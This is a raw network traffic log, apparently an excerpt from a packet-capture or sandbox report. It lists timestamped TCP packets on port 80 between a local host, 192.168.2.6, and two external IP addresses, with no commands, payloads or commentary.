Dec 19, 2024 08:09:39.092796087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.092818975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.093938112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.093978882 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.093997955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.094858885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.094976902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.095019102 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.095935106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.096041918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.096090078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.096966982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.097095013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.097141027 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.098040104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.098084927 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.098124981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.132527113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.132618904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.132621050 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.132841110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.132919073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.132975101 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.133866072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.133989096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.134033918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.134921074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.134968996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.135040045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.135988951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.136032104 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.136164904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.137056112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.137171984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.137219906 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.138094902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.138164997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.138183117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.139170885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.139238119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.139288902 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.140249968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.140364885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.140412092 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.141288996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.141355038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.141398907 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.142272949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.142319918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.160103083 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.160165071 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.160223007 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.162596941 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.162776947 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.162828922 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.166543961 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.166593075 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.184588909 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.184730053 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.184781075 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.186326027 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.186420918 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.186424971 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.186500072 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.189848900 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.189887047 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.191175938 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.191217899 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.191251993 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.191286087 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.194681883 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.194770098 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.194802046 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.194802046 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.198136091 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.198226929 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.198249102 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.198281050 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.201457977 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.201504946 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.201551914 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.201586008 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.204853058 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.204917908 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.204940081 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.204967976 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.208161116 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.208295107 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.208319902 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.208348989 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.211743116 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.211795092 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.211844921 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.211882114 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.212645054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.212690115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.212811947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.213021994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.213321924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.213372946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.213427067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.214163065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.214303017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.214345932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.214971066 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.215013027 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.215058088 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.215097904 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.215187073 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.215226889 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.215295076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.216260910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.216305971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.216341019 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.217314959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.217406034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.217447996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.218194008 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.218240023 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.218353987 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.218389988 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.218394041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.218406916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.218432903 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.219450951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.219518900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.219526052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.220451117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.220498085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.220561028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.221551895 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.221595049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.221596956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.221607924 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.221646070 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.221695900 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.222074032 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.222683907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.222731113 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.222759962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.223659039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.223699093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.223737001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.224670887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.224714041 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.224750996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.224968910 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.225016117 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.225049019 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.225081921 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.225718021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.225765944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.225805044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.226777077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.226833105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.226869106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.227817059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.227864027 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.227929115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.228220940 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.228260040 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.228365898 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.228404999 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.228890896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.228980064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.229017973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.229935884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.230065107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.230108023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.230982065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.231106043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.231144905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.231561899 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.231668949 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.231694937 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.231715918 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.232033014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.232070923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.232147932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.233201981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.233256102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.233294964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.234149933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.234271049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.234318018 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.234905958 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.234942913 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.234997988 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.235037088 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.235196114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.235234976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.235290051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.236257076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.236296892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.236341000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.237320900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.237426996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.237464905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.238291979 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.238434076 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.238445997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.238471031 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.238481998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.238487959 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.239422083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.239468098 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.239551067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.240499973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.240539074 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.240647078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.241763115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.241802931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.241813898 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.241842031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.241867065 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.241875887 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.241906881 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.242604017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.242641926 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.242692947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.243669033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.243803978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.243848085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.244678974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.244810104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.244812012 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.244951010 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.244991064 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.245081902 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.245116949 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.245748043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.245786905 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.245846987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.246797085 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.246908903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.246956110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.247854948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.247973919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.248013020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.248294115 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.248342037 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.248425961 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.248485088 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.248910904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.249017000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.249032021 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.249950886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.249996901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.251679897 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.251719952 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.251781940 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.251816034 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.255055904 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.255120993 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.255120993 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.255158901 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.258368015 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.258507967 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.258563995 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.261809111 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.261982918 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.262041092 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.265189886 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.265291929 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.265345097 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.268445969 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.268506050 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.268532038 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.268567085 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.271776915 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.271893978 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.271960020 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.275098085 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.275213957 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.275266886 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.284672022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.284691095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.284746885 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.285145044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.285288095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.285342932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.286156893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.286278009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.286333084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.287216902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.287339926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.287430048 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.288280010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.288402081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.288530111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.289341927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.289489031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.289537907 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.290373087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.290425062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.290553093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.324975967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.325052023 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.325465918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.325521946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.325572014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.326498985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.326545000 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.326596975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.327519894 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.327553034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.327661037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.328633070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.328680038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.328742981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.328804016 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.329672098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.329786062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.329889059 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.330755949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.330877066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.330924988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.331769943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.331887960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.332811117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.332843065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.332945108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.332981110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.333878040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.333973885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.334042072 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.352071047 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.352179050 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.352267027 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.353595972 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.353667974 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.353692055 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.353734016 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.356626987 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.356669903 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.356750011 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.356806040 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.359651089 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.359762907 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.359806061 CET	80	49882	185.215.113.16	192.168.2.6
